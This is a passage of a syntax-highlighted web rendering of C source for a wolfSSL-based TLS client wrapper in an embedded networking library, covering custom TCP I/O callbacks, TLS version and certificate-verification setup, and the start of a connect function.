</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;qt_idf_config.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;qt_idf_tls.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;qt_idf_tcp.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;dlg/dlg.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;utils_timer.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#ifndef WOLFSSL_USER_SETTINGS
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="cp">#include</span> <span class="cpf">&lt;wolfssl/options.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;wolfssl/wolfcrypt/settings.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;wolfssl/ssl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;wolfssl/wolfcrypt/wc_port.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WOLFSSL_CTX</span><span class="o">*</span> <span class="n">ctx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">WOLFSSL</span><span class="o">*</span>     <span class="n">ssl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">WOLFSSL_METHOD</span><span class="o">*</span> <span class="n">method</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_handle_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 自定义tcp 发送函数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span>  <span class="kt">int</span> <span class="nf">my_IOSend</span><span class="p">(</span><span class="n">WOLFSSL</span><span class="o">*</span> <span class="n">ssl</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buff</span><span class="p">,</span> <span class="kt">int</span> <span class="n">sz</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">ctx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">ctx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tcp_send</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buff</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;qtf_tcp_send failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">WOLFSSL_CBIO_ERR_GENERAL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 自定义tcp 接收函数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">int</span> <span class="nf">my_IORecv</span><span class="p">(</span><span class="n">WOLFSSL</span><span class="o">*</span> <span class="n">ssl</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buff</span><span class="p">,</span> <span class="kt">int</span> <span class="n">sz</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">ctx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">ctx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tcp_recv</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buff</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;qtf_tcp_recv failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">WOLFSSL_CBIO_ERR_GENERAL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 初始化和配置参数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">int</span> <span class="nf">_tls_net_init</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_Init</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">tls_version</span> <span class="o">==</span> <span class="n">QTF_TLS_VERSION_TLS1_2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">handle</span><span class="o">-&gt;</span><span class="n">method</span> <span class="o">=</span> <span class="nf">wolfTLSv1_2_client_method</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">tls_version</span> <span class="o">==</span> <span class="n">QTF_TLS_VERSION_TLS1_3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">handle</span><span class="o">-&gt;</span><span class="n">method</span> <span class="o">=</span> <span class="nf">wolfTLSv1_3_client_method</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">tls_version</span> <span class="o">==</span> <span class="n">QTF_TLS_VERSION_TLS1_2_1_3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">handle</span><span class="o">-&gt;</span><span class="n">method</span> <span class="o">=</span> <span class="nf">wolfSSLv23_client_method</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;not support tls version&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span> <span class="o">=</span> <span class="nf">wolfSSL_CTX_new</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">method</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_CTX_new failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// 注册收发函数回调，使用自定义tcp收发的实现
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">wolfSSL_SetIORecv</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">my_IORecv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_SetIOSend</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">my_IOSend</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_VERIFY_MODE_NONE</span> <span class="o">||</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_VERIFY_MODE_OPTIONAL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">wolfSSL_CTX_set_verify</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SSL_VERIFY_NONE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_VERIFY_MODE_REQUIRED</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">wolfSSL_CTX_set_verify</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SSL_VERIFY_PEER</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid verify mode&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">auth_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_AUTH_MODE_CERT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 加载ca证书
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_CTX_load_verify_buffer</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">ca_cert_len</span><span class="p">,</span> <span class="n">SSL_FILETYPE_PEM</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">SSL_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_CTX_load_verify_buffer failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span> <span class="o">!=</span> <span class="n">QTF_TLS_VERIFY_MODE_NONE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid ca cert&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_info</span><span class="p">(</span><span class="s">&#34;verify mode is none&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert_len</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_CTX_use_certificate_buffer</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_cert_len</span><span class="p">,</span> <span class="n">SSL_FILETYPE_PEM</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">SSL_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_CTX_use_certificate_buffer failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_CTX_use_PrivateKey_buffer</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">client_key_len</span><span class="p">,</span> <span class="n">SSL_FILETYPE_PEM</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">SSL_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_CTX_use_PrivateKey_buffer failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">auth_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_AUTH_MODE_PSK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid auth mode&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span> <span class="o">=</span> <span class="nf">wolfSSL_new</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_new failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_shutdown</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_free</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_CTX_free</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">wolfSSL_Cleanup</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 断开tcp连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">qtf_tcp_close</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">port</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">host</span> <span class="o">||</span> <span class="o">!</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span><span class="p">));</span>
